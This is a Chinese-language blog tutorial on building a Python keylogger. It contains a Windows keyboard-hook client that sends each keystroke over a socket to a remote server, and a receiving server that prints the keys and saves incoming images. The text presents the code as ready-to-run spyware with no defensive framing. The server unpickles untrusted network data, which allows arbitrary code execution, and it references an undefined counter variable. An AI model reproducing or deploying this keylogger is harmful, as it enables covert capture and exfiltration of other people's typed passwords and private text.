python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
对matplotlib改变colorbar位置和方向的方法详解
Dec 13 Python
Python 实现中值滤波、均值滤波的方法
Jan 09 Python
介绍一款python类型检查工具pyright(推荐)
Jul 03 Python
python文字转语音实现过程解析
Nov 12 Python
解决windows下python3使用multiprocessing.Pool出现的问题
Apr 08 Python
Python下载网易云歌单歌曲的示例代码
Aug 12 Python
python里glob模块知识点总结
Jan 05 Python
Python Process创建进程的2种方法详解
Jan 25 Python
ASP.NET Core中的配置详解
Feb 05 Python
Python基础之元组与文件知识总结
May 19 Python
Python自动化之批量处理工作簿和工作表
Jun 03 Python
Python使用pandas导入csv文件内容的示例代码
Dec 24 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
PHP fopen()和 file_get_contents()应用与差异介绍
2014/03/19 PHP
Thinkphp使用mongodb数据库实现多条件查询方法
2014/06/26 PHP
php将文本文件转换csv输出的方法
2014/12/31 PHP
关于PHP定时发送服务的解决办法
2017/04/23 PHP
PHP实现的微信公众号扫码模拟登录功能示例
2019/05/30 PHP
jquery 插件之仿“卓越亚马逊”首页弹出菜单效果
2008/12/25 Javascript
JQuery分屏指示器图片轮换效果实例
2015/05/21 Javascript
JavaScript AOP编程实例
2015/06/16 Javascript
全面了解js中的script标签
2016/07/04 Javascript
Bootstrap CSS组件之输入框组
2016/12/17 Javascript
详解angular 中的自定义指令之详解API
2017/06/20 Javascript
使用JavaScript根据图片获取条形码的方法
2017/07/04 Javascript
JS伪继承prototype实现方法示例
2018/06/20 Javascript
vue组件中watch props根据v-if动态判断并挂载DOM的问题
2019/05/12 Javascript
[01:33:07]VGJ.T vs Newbee Supermajor 败者组 BO3 第一场 6.6
2018/06/07 DOTA
用Python输出一个杨辉三角的例子
2014/06/13 Python
Python中的lstrip()方法使用简介
2015/05/19 Python
Python性能提升之延迟初始化
2016/12/04 Python
python3将视频流保存为本地视频文件
2018/06/20 Python
python format 格式化输出方法
2018/07/16 Python
Python基本数据结构之字典类型dict用法分析
2019/06/08 Python
python [:3] 实现提取数组中的数
2019/11/27 Python
mac在matplotlib中显示中文的操作方法
2020/03/06 Python
如何学习Python time模块
2020/06/03 Python
浅谈Python3中print函数的换行
2020/08/05 Python
HTML实现代码雨源码及效果示例
2020/02/25 HTML / CSS
Lovedrobe官网:英国领先的大码服装品牌
2019/09/19 全球购物
捷克家具销售网站:SCONTO Nábytek
2020/01/02 全球购物
投标保密承诺书
2014/05/19 职场文书
场地使用证明模板
2014/10/25 职场文书
求职信格式范文
2015/03/19 职场文书
2015年秋季新学期寄语
2015/03/25 职场文书
2015年建筑工程工作总结
2015/05/13 职场文书
Python 用户输入和while循环的操作
2021/05/23 Python
python之PySide2安装使用及QT Designer UI设计案例教程
2021/07/26 Python
Win11跳过联网界面创建本地管理账户的3种方法
2022/04/20 数码科技